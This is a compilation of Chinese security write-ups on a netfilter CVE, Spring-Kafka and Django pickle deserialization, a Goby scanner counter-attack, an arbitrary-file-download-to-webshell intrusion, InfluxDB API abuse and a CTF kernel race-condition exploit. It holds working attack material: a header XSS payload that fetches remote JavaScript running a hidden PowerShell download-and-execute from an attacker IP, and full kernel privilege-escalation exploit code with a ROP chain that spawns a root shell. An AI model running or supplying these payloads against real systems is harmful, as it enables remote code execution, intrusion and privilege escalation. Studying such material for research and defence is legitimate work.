这里需要注意的是,我们指定了捕获数据包的网口,因此数据包需要途径该网口才能够捕获数据包,下面是作者使用的数据包发送的代码,首先是绑定发送数据包的端口为vlan.10,由于vlan.10是在vlan.5上创建的,因此从vlan.10出去的数据包会被打上双层vlan tag,并且vlan.5是在host-enps32上创建的,而host-enps32又是与eth32构成虚拟设备对,因此数据包最终会从eth32发出并且携带双重的vlan tag从而进入nft_payload_copy_vlan的函数内部,触发漏洞。
int send_packet()
{
int sockfd;
struct sockaddr_in addr;
char buffer[] = "This is a test message";
char *interface_name = "vlan.10"; // double-tagged packet
int interface_index;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
memcpy(ifr.ifr_name, interface_name, MIN(strlen(interface_name) + 1, sizeof(ifr.ifr_name)));
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (sockfd < 0) {
perror("[-] Error creating socket");
return 1;
}
// Set the SO_BINDTODEVICE socket option
if (setsockopt(sockfd, SOL_SOCKET, SO_BINDTODEVICE, (void *)&ifr, sizeof(ifr)) < 0) {
perror("[-] Error setting SO_BINDTODEVICE socket option");
return 1;
}
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr("192.168.123.123"); // random destination
addr.sin_port = htons(1337);
// Send the UDP packet
if (sendto(sockfd, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("[-] Error sending UDP packet");
return 1;
}
close(sockfd);
return 0;
}
可以看到最终完成了内核信息的泄露。
完整poc:https://github.com/h0pe-ay/Vulnerability-Reproduction/blob/master/CVE-2023-0179/poc.c
漏洞利用
利用JUMP调整stacksize
设置寄存器的值
利用nft_payload_copy_vlan触发漏洞拷贝payload
Kafka反序列化RCE漏洞(CVE-2023-34040)
漏洞描述
Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。
受影响版本中默认未对记录配置 ErrorHandlingDeserializer,当用户将容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true(默认为 false),并且允许不受信任的源发布到 Kafka 主题中时,攻击者可将恶意 payload 注入到 Kafka 主题中,当反序列化记录头时远程执行任意代码。
影响版本
2.8.1 <= Spring-Kafka <= 2.9.103.0.0 <= Spring-Kafka <= 3.0.9
漏洞复现
这一个漏洞所影响的组件其实是 Spring-Kafka,严格意义上来说并不算是 kafka 的漏洞,应该算是 Spring 的漏洞。
漏洞前置知识
先来看一看 SpringBoot 和 Kafka 是怎么完成通讯/消费的
工作流程如下
1、生产者将消息发送到 Kafka 集群中的某个 Broker(也可以是多个)2、Kafka 集群将消息存储在一个或多个分区中,并为每个分区维护一个偏移量3、消费者订阅一个或多个主题,并从 Kafka 集群中读取消息。4、消费者按顺序读取每个分区中的消息,并跟踪每个分区的偏移量。
ErrorHandlingDeserializer:是 Kafka中的一种反序列化器(Deserializer),它可以在反序列化过程中处理异常和错误。
checkDeserExWhenKeyNull && checkDeserExWhenValueNull:是 Kafka 中的一种序列化器(Serializer),它可以在序列化过程中检查键(key/value)是否为 null,并在发现值为 null 时抛出异常。
再简单整理一下漏洞条件
在受到影响的版本中,默认未对记录配置 ErrorHandlingDeserializer容器属性 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 设置为 true
环境搭建
其中需要我们起一个 Kafka 的服务,用来接收消息,本机上起比较麻烦,可以在 vps 上用 docker 迅速搭建,且需注意,Kafka 要能够接受外连,docker-compose.yml 如下
version: '2'
services:
zookeeper:
image: zookeeper
restart: always
ports:
- "2181:2181"
container_name: zookeeper
kafka:
image: wurstmeister/kafka
restart: always
ports:
- "9092:9092"
- "9094:9094"
depends_on:
- zookeeper
environment:
KAFKA_ADVERTISED_HOST_NAME: 124.222.21.138
KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://124.222.21.138:9092,SSL://124.222.21.138:9094
KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
container_name: kafka
Spring Kafka 的生产者和消费者可以通过使用 Spring Kafka 提供的 KafkaTemplate 和 `@KafkaListener 注解来编写。
生产者可以使用 KafkaTemplate 来发送消息到 Kafka 集群:
package com.drunkbaby.springkafkatest.controller;
import com.drunkbaby.springkafkatest.common.KafkaInfo;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.kafka.core.KafkaTemplate;
import org.springframework.kafka.support.SendResult;
import org.springframework.util.concurrent.ListenableFuture;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import java.time.LocalDateTime;
import java.util.concurrent.ExecutionException;
@RestController
@RequestMapping("/producer")
public class ProducerController {
@Autowired
private KafkaTemplate<String,String> kafkaTemplate;
@PostMapping("/fireAndForget")
public String fireAndForget() {
kafkaTemplate.send(KafkaInfo.TOPIC_WELCOME, "fireAndForget:" + LocalDateTime.now());
return "success";
}
}
消费者可以使用 @KafkaListener 注解来监听 Kafka 集群中的消息:
package com.drunkbaby.springkafkatest.consumer;
import com.drunkbaby.springkafkatest.common.KafkaInfo;
import org.springframework.kafka.annotation.KafkaListener;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.handler.annotation.Headers;
import org.springframework.messaging.handler.annotation.Payload;
import org.springframework.stereotype.Component;
@Component
public class Consumer {
@KafkaListener(topics = KafkaInfo.TOPIC_WELCOME)
public String consumer2(@Payload String message, @Headers MessageHeaders headers) {
System.out.println("消费者(注解方式):收到消息==> ");
System.out.println(" message:" + message);
System.out.println(" headers:");
headers.keySet().forEach(key -> System.out.println(" " + key + ":" + headers.get(key)));
return "success";
}
连接成功
访问 http://localhost:8083/producer/sync 发送一条记录
构造 payload
实际影响到的是 Consumer,且 Consumer 要设置 checkDeserExWhenKeyNull 或 checkDeserExWhenValueNull 为 true
ConcurrentKafkaListenerContainerFactory<String, Greeting> factory = new ConcurrentKafkaListenerContainerFactory<>();
factory.getContainerProperties().setCheckDeserExWhenValueNull(true);
factory.getContainerProperties().setCheckDeserExWhenKeyNull(true);
payload 参考 https://github.com/Contrast-Security-OSS/Spring-Kafka-POC-CVE-2023-34040
漏洞分析
主要是来看反序列化的部分
断点会先走到 org.springframework.kafka.listener.ListenerUtils#getExceptionFromHeader 方法,它这里面会获取到 PoC 中的 KEY_DESERIALIZER_EXCEPTION_HEADER,并将其作为 headers
往下跟进 byteArrayToDeserializationException() 方法,这里就直接到反序列化的部分了,而在反序列化之前做了一次 resolveClass() 的校验。
而这里的 resolveClass() 校验是一次性的,这就代表我们可以构造其他的 Payload,如 CC 链等,证实是可以打通的
之后便会进入到对应类的 readObject() 方法
漏洞修复
https://github.com/spring-projects/spring-kafka/commit/25ac793a78725e2ca4a3a2888a1506a4bfcf0c9d相当于把这里的 header 头加黑了
关于Goby反制上线CS中的各种问题
前言
Goby作为新一代网络安全技术,通过为目标建立完整的资产数据库,实现快速的安全应急,日常为广大师傅提供了便捷的渗透体验。最近有观察到有关于某些蜜罐出现了Goby反制的指纹,顿时就起了兴趣进行研究Goby的反制,期间也遇到了很多网上没有答案的坑点,这里把遇到的问题和关键点给师傅们列举出来,希望师傅们能了解到反制的整个流程,在攻防中也不要被反制。
原理
据Goby官方解释,这实际上是一个非常久远的历史漏洞,最早的纰漏的时间是在2021年10月,当月漏洞就已修复并发布新版本。至于漏洞为何存在,得追溯到Goby的组件识别能力,Goby是使用Electron构建的客户端软件,在Goby的资产界面中,扫描结果里会展示所有符合指纹识别规则的组件名称,比如PHP、IIS等,而Goby为了更为精准的组件识别,Goby会从返回的数据报文中提取版本信息(例如X-Powered-By中),并在资产界面进行渲染展示,在旧版本的Goby中并未对版本信息做无害化处理,从而导致漏洞产生。
X-Powered-By
X-Powered-By 是 HTTP 头中的一个字段,主要用于表示网站所使用的服务器、编程语言或框架等信息。例如对于Apache中间件的网站默认会包含X-Powered-By,其中包含一些banner(如PHP/5.3.29),Goby则是收集这些banner来识别组件信息的
我们也可以自定义一个X-Powered-By 头来干扰Goby进行指纹识别,例如在代码中加入
<?php
header("X-Powered-By: yuzi");
?>
当我们我们再次发包查看会发现X-Powered-By: yuzi
而对于Nginx中间件的网站默认不会包含X-Powered-By,需要自己构造X-Powered-By才显示,对比Apache中间件网站会安全一些
对于其他中间件来说
Tomcat:默认添加,例如 X-Powered-By: Servlet/3.0
IIS:默认添加,例如 X-Powered-By: http://ASP.NET
Jetty:默认添加,例如 X-Powered-By: Jetty
反制复现
环境准备:
注:受到反制影响的Goby版本应 < 2.0.0
Goby历史版本下载:https://gobysec.net/updates?v=15#Beta(1.9.325)%E2%80%A2Feb16,2022
Nginx环境复现
在网站根目录下对网站的首页(index.php)添加带payload的X-Powered-By段
<?php
header("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=alert(/helloworld/)>");
?>
//语句中的/t不能用空格进行替代可以用tab键代替,且所有的空格处应该为tab键
//标签内语句中若存在双引号则要反斜杠(\)对其进行转义,如<img\tsrc=\"x\"\tonerror=\"alert(/helloworld/);\">
//若数字在弹窗内容中则无需在两边加斜杠(/),如<img\tsrc=1\tonerror=\"alert(1);\">
此时,红队在利用Goby对该蓝队主机进行扫描,扫描完后红队会自然而然地点击IP处进行查看当前的扫描结果
当红队进入IP的资产页面后,页面会优先显示蓝队主机网站的首页的指纹信息,此时我们在首页构造的X-Powered-By被Goby识别且没有做识别过滤,因此会在Goby资产页面显示并且payload会被执行
在Goby识别指纹的时候,把恶意语句识别进去了,在PHP指纹界面上可以很清楚的看到蓝队在首页的payload,但是Goby在该页面上并不会触发payload,只有从主页中点击进入IP详情界面,才会触发payload
由于Goby使用Electron构建客户端软件,Electron用的是node.js,并且node.js能执行系统命令,故可以把危害放大化直接反制上线蓝队CS,将主页的payload更改为远程加载JS文件来执行命令
<?php
header("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=import(unescape('http%3A//192.168.108.164/1.js'))>");
?>
//URL中的:需要用%3A表示,unescape()会复原URL
构造主页payload中需要远程加载的恶意JS文件1.js
(function(){
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.164:100/a\'))"');
})();
//exec()内可以执行任意的系统命令例如exec('calc.exe');弹出计算机,这里通过CS的powershell命令执行进行上线
//若需要执行上线CS的命令的时,要用反斜杠(\)要把单引号转义一下,其他命令不用
在开始之前,由于刚刚Goby演示的扫描结果存在缓存,故正式开始之前应该先退出Goby,重新打开并新建扫描刚刚第一次的步骤来触发更改后的payload
为了反制时候达到隐匿效果,通常蜜罐会将payload进行HTML实体编码如
<?php
header("X-Powered-By: PHP/5.3.29 <img src=1 onerror=import(unescape('http%3A//192.168.108.164&#
?>
//标签不能编码
到这里,Nginx中间件的网站算是复现成功,但是还没结束,因为Apache等中间件会默认会包含X-Powered-By,这对Goby来说是不利于识别我们在X-Powered-By构造payload的,因此许多师傅只能在Nginx环境下复现成功,其实Apache环境也是可以复现成功的
Apache环境复现
为了让我们构造的X-Powered-By不和Apache自身默认的X-Powered-By造成冲突,我们需要在Apache中禁用默认的X-Powered-By。我们打开Apache的配置文件httpd.conf,文件中任意空白处添加
ServerTokens Prod
//将ServerTokens设置为Prod将隐藏Apache版本信息和X-Powered-By头
添加完后,记得重启Apache服务,按照和Nginx一样的步骤也可以复现成功
最后
此Goby反制虽然是一个已经修复很久的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Goby版本,对应地在公网上也存在很多反制Goby的蜜罐,在攻防演练中也有可能用得上,故做此分析供各位师傅参考。
记一次任意文件下载到Getshell
任意文件下载(Arbitrary File Download)是一种常见的 Web 攻击技术,用于窃取服务器上任意文件的内容。攻击者利用应用程序中的漏洞,通过构造恶意请求,使应用程序将任意文件(如配置文件、敏感数据等)发送给攻击者。一旦攻击者成功利用这种漏洞,就可以从服务器上获取应用程序所拥有的任意文件,并且可以获取到这些文件的敏感信息。
在日常的渗透中,看到下载功能是可以去看一下有没有该漏洞的,利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路 在日常渗透中,应该注重前台的每个功能点,最好做个Checklist。
0x01 任意文件下载
1.进行测试
在本次渗透中 首页->资料下载->公共资料 去点击该功能进行测试
2.发现敏感路径
看到此链接,感觉很有机会,继续尝试
3.尝试下载index.php
发现成功下载,嘿嘿去找找 ThinkPHP 数据库配置文件在哪先
4.尝试下载数据库配置文件
先去百度一下,ThinkPHP3.2的目录结构
最终在/Application/Common/Conf/目录下找到了数据库配置文件
/Application/Common/Conf/config.php
0x02 尝试连接数据库
5.获取数据库账号密码
好,数据库账号密码到手,接下来看看端口开放在外网没有
发现数据库端口开在外网
6.连接数据库
成功连上数据库
7.查看管理员账号密码
这个 MD5 只能看一眼,多看一眼就是123456
0x03 寻找后台
8.寻找后台
好,后台管理员账号密码都有了,那么后台呢。。。
目录扫描没扫出来,前台仔细找找也没有
那时候卡了我好久。。。。。。
9.细心决定成败
再回到那个数据库配置文件,找到那个被忽视的神秘路径。。
原来它一直在这里等我,是我忽视它了
成功找到后台
0x04 有手就行文件上传
10.进入后台后寻找功能点
11.记住该分类
12.上传Webshell
抓包直接把jpg修改php就可以上传成功,但是没有回显
13.成功Getshell
在前台找到自己刚刚上传选择的分类,复制下载链接,即可得到Webshell地址
收工!
记录一次时序数据库的实战测试
0x1.背景
在某次Edusrc挖掘过程中,我发现了一个404状态码的ip站如下图所示:
我的直觉告诉我,这个站不太简单。于是我信息搜集了一下端口为8086的常见服务:
当我看到这个InfluxDB的时候,我灵感突然来了,虽然我当时不知道是什么,我尝试着进行抓包看看返回包,但是多尝试一下没想到这个站点还真的是InfluxDB服务!
后续利用我先不讲,我们先好好讲一下InfluxDB是一个怎么样的数据库。
0x3.InfluxDB介绍
InfluxDB是一个由InfluxData开发的开源时序型数据库。它由Go写成,着力于高性能地查询与存储时序型数据。InfluxDB被广泛应用于存储系统的监控数据,IoT行业的实时数据等场景。
在了解了InfluxDB的基本概念之后我们得先了解一下什么是时序性数据库。
为了方便理解我将时序性数据库与大家常用的关系型数据库进行一个以表格的形式进行对比展示:
然后我也整理了一下MySQL与InfluxDB概念差异和相关概念扩展用一个表格来进行对比展示:
然后这里整理了一些常见的 InfluxQL Http Api的语句:
GET /query?q=SHOW USERS #查看当前所有的数据库用户
GET /query?q=SHOW DATABASES #查看所有数据库
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称 #查询数据库中所含的表
GET /query?q=SHOW FIELD KEYS&db=某个db的名称 # 查看当前数据库所有表的字段
GET /query?q=show series&db=某个db的名称 # 查看series
GET /debug/vars #debug敏感泄露
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX' # 这一点需要伪造jwt
0x3.本地漏洞复现
实战的利用过程就不放上来了,放上来也是厚码还不如直接本地复现讲的更清楚。
使用Vulhub在本地虚拟机上搭建:
没有搭建过vulhub靶场可以参考官方文档:https://vulhub.org/#/docs/install-docker/
搭建好后我们直接使用如下命令:
cd /vulhub/influxdb/CVE-2019-20933
docker-compose up -d
开放在默认的8086端口,环境启动后,访问xxx:8086即可开始复现:
虽然是404,但是抓包回显发现是influxdb服务
我简单尝试之后发现是弱口令admin/admin。如果发现弱口令不可以的话,可以伪造jwt我就不多赘述了。
然后我们来进行测试:
debug敏感泄露
GET /debug/vars
查看当前所有的数据库用户
GET /query?q=SHOW USERS
查看所有数据库
GET /query?q=SHOW DATABASES
查询数据库中所含的表
GET /query?q=SHOW MEASUREMENTS&db=某个db的名称
查看当前数据库所有表的字段
GET /query?q=SHOW FIELD KEYS&db=某个db的名称
查看series
GET /query?q=show series&db=某个db的名称
任意用户写
POST /query?q=CREATE USER XXX WITH PASSWORD 'XXX'
GET /query?q=SHOW USERS
再来查看一下:
最后别忘了关闭容器:
docker stop cve-2019-20933_web_1
0x5.总结
这篇主要是分享一下经验,也就是说不一定状态码是404的站点就一定不能利用。我相信阅读完此篇然后去复现一下,你对InfluxDB的利用肯定有不一样的理解~
通过条件竞争实现内核提权
条件竞争漏洞(Race Condition Vulnerability)是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。
LK01-4
这里以一道例题作为例子介绍条件竞争在内核中的利用。
open模块
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-4/LK01-4
open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。
static int module_open(struct inode *inode, struct file *file)
{
printk(KERN_INFO "module_open called\n");
if (mutex) {
printk(KERN_INFO "resource is busy");
return -EBUSY;
}
mutex = 1;
g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);
if (!g_buf) {
printk(KERN_INFO "kmalloc failed");
return -ENOMEM;
}
return 0;
}
例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。
#include <stdio.h>
#include <fcntl.h>
int main()
{
int fd1 = open("/dev/holstein",O_RDWR);
printf("fd1:%d\n",fd1);
int fd2 = open("/dev/holstein",O_RDWR);
printf("fd2:%d\n",fd2);
}
单线程下执行的流程如下。
但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在mutext == 1这个判断语句之后切换到线程2,那么线程2在执行mutext == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。
POC
为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。
首先是POC使用了3与4作为新打开的文件描述符,这是因为0,1,2是标准流,因此新打开的文件应该是从3开始分配。但是避免不是从3开始分配,我们可以使用作者提供的exp,打开临时文件去判断下一个文件描述符是什么。
其次是在条件竞争利用失败的时候,我们需要关闭文件描述符,这是因为若不关闭,那么上述两个线程竞争的情况就不会发生了,因为已经通过open模块获取了文件描述符,那么mutext已经被设置为1,那么就不会存在mutext被设置为1之前的情况了。
然后在文件描述符为4的时候,说明已经通过条件竞争成功执行两次open模块,但是这里还需要去验证文件描述符是否有效,这是因为有可能出现线程1获取的文件描述符为3,而线程二获取的文件描述符为4,但是线程1先进入了if (fd != -1 && success == 0)的判断,那么就会把文件描述符3给关闭了,就导致即使正常执行了两次open模块,但是只有4能够使用。
最后就是验证3和4是否指向同一块内存了。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
if (strcmp(temp, "abcdefg"))
{
puts("fail\n");
exit(-1);
}
printf("sucess\n");
}
run.sh
这里可以看到-smp的选项为2,"-smp" 表示 "Symmetric MultiProcessing",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。
#!/bin/sh
qemu-system-x86_64 \
-m 64M \
-nographic \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \
-no-reboot \
-cpu qemu64,+smap,+smep \
-smp 2 \
-monitor /dev/null \
-initrd initramfs.cpio.gz \
-net nic,model=virtio \
-net user \
-s
exp
因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的gadget地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过prepare_kernel_cred -> commit_creds -> swapgs_restore_regs_and_return_to_usermode的序列完成提权操作。
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <pthread.h>
#include <string.h>
//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;
//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re
//0xffffffff810b13c5: pop rdi; ret;
//ffffffff81072580 T prepare_kernel_cred
//ffffffff810723e0 T commit_creds
//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret;
//0xffffffff81c6bfe0: pop rcx; ret;
//ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode
//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;
#define push_rdx_pop_rsp 0x137da8
#define pop_rdi_ret 0xb13c5
#define prepare_kernel_cred 0x72580
#define commit_creds 0x723e0
#define pop_rcx_ret 0xc6bfe0
#define mov_rdi_rax 0x65094b
#define swapgs_restore 0x800e10
#define pop_rcx_5 0x12b0
unsigned long user_cs, user_sp, user_ss, user_rflags;
void backdoor()
{
printf("****getshell****");
system("id");
system("/bin/sh");
}
void save_user_land()
{
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_sp, rsp;"
"mov user_ss, ss;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved userland registers");
printf("[#] cs: 0x%lx \n", user_cs);
printf("[#] ss: 0x%lx \n", user_ss);
printf("[#] rsp: 0x%lx \n", user_sp);
printf("[#] rflags: 0x%lx \n", user_rflags);
printf("[#] backdoor: 0x%lx \n\n", backdoor);
}
int success = 0;
void *thread_function(void *arg) {
while(1)
{
while (!success)
{
int fd = open("/dev/holstein",O_RDWR);
if (fd == 4)
success = 1;
if (fd != -1 && success == 0)
close(fd);
}
if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)
{
close(3);
close(4);
success = 0;
}
else
break;
}
}
int main()
{
pthread_t thread_id1, thread_id2;
int spray[200];
save_user_land();
if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
pthread_join(thread_id1, NULL);
pthread_join(thread_id2, NULL);
char temp[0x20]= {};
write(3, "abcdefg", 7);
read(4, temp, 7);
printf("temp:%s\n", temp);
if (strcmp(temp, "abcdefg"))
{
puts("failure\n");
exit(-1);
}
if (!strcmp(temp,"abcdefg"))
{
printf("sucess\n");
close(4);
for (int i = 0; i < 50; i++)
{
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (spray[i] == -1)
{
printf("error!\n");
exit(-1);
}
}
char buf[0x400];
read(3, buf, 0x400);
unsigned long *p = (unsigned long *)&buf;
for (unsigned int i = 0; i < 0x80; i++)
printf("[%x]:addr:0x%lx\n",i,p[i]);
unsigned long kernel_address = p[3];
unsigned long heap_address = p[7];
if ((kernel_address >> 32) != 0xffffffff)
{
printf("leak error!\n");
exit(-1);
}
else
printf("leak sucess\n");
unsigned long kernel_base = kernel_address - 0xc3afe0;
unsigned long g_buf = heap_address - 0x38;
printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);
//getchar();
*(unsigned long *)&buf[0x18] = g_buf;
p[0xc] = push_rdx_pop_rsp + kernel_base;
//for (unsigned long i = 0xd; i < 0x80; i++)
// p[i] = g_buf + i;
int index = 0x21;
p[index++] = pop_rdi_ret + kernel_base;
p[index++] = 0;
p[index++] = prepare_kernel_cred + kernel_base;
p[index++] = pop_rcx_5 + kernel_base;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = 0;
p[index++] = mov_rdi_rax + kernel_base;
p[index++] = commit_creds + kernel_base;
p[index++] = swapgs_restore + kernel_base + 22;
p[index++] = 0;
p[index++] = 0;
p[index++] = (unsigned long)backdoor;
p[index++] = user_cs;
p[index++] = user_rflags;
p[index++] = user_sp;
p[index++] = user_ss;
write(3, buf, 0x400);
ioctl(4, 0, g_buf + 0x100);
}
return 0;
}
CPU Affinity(CPU 亲和性)
这里作者用了CPU Affinity提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。
首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过sched_setaffinity 函数设置CPU 亲和性。
#define _GNU_SOURCE
#include <sched.h>
...
cpu_set_t t1_cpu, t2_cpu;
CPU_ZERO(&t1_cpu);
CPU_ZERO(&t2_cpu);
CPU_SET(0, &t1_cpu);
CPU_SET(1, &t2_cpu);
...
if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)
{
fprintf(stderr, "thread error\n");
return 1;
}
void *thread_function(void *arg) {
cpu_set_t *cpu_set = (cpu_set_t *)arg;
int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);
...
}
由Django-Session配置引发的反序列化安全问题
漏洞成因
漏洞成因位于目标配置文件settings.py下
关于这两个配置项
SESSION_ENGINE:
在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。
SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:
数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。
缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。
文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。
签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。
缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。
SESSION_SERIALIZER:
SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。
通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:
'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。
'django.contrib.sessions.serializers.PickleSerializer':使用Python标准库中的pickle模块来序列化和反序列化会话数据。
那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。
紧接着看看Django中的/core/signing模块:(Django==2.2.5)
主要看看函数参数即可
key:验签中的密钥
serializer:指定序列化和反序列化类
def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
"""
Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
None, use settings.SECRET_KEY instead.
If compress is True (not the default), check if compressing using zlib can
save some space. Prepend a '.' to signify compression. This is included
in the signature, to protect against zip bombs.
Salt can be used to namespace the hash, so that a signed string is
only valid for a given namespace. Leaving this at the default
value or re-using a salt value across different parts of your
application without good cause is a security risk.
The serializer is expected to return a bytestring.
"""
data = serializer().dumps(obj) # 使用选定的类进行序列化
# Flag for if it's been compressed or not
is_compressed = False
# 数据压缩处理
if compress:
# Avoid zlib dependency unless compress is being used
compressed = zlib.compress(data)
if len(compressed) < (len(data) - 1):
data = compressed
is_compressed = True
base64d = b64_encode(data).decode() # base64编码 decode转化成字符串
if is_compressed:
base64d = '.' + base64d
return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值
# loads的过程为dumps的逆过程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
"""
Reverse of dumps(), raise BadSignature if signature fails.
The serializer is expected to accept a bytestring.
"""
# TimestampSigner.unsign() returns str but base64 and zlib compression
# operate on bytes.
base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
decompress = base64d[:1] == b'.'
if decompress:
# It's compressed; uncompress it first
base64d = base64d[1:]
data = b64_decode(base64d)
if decompress:
data = zlib.decompress(data)
return serializer().loads(data)
看看两个签名的类:
在Signer类中中:
class Signer:
def __init__(self, key=None, sep=':', salt=None):
# Use of native strings in all versions of Python
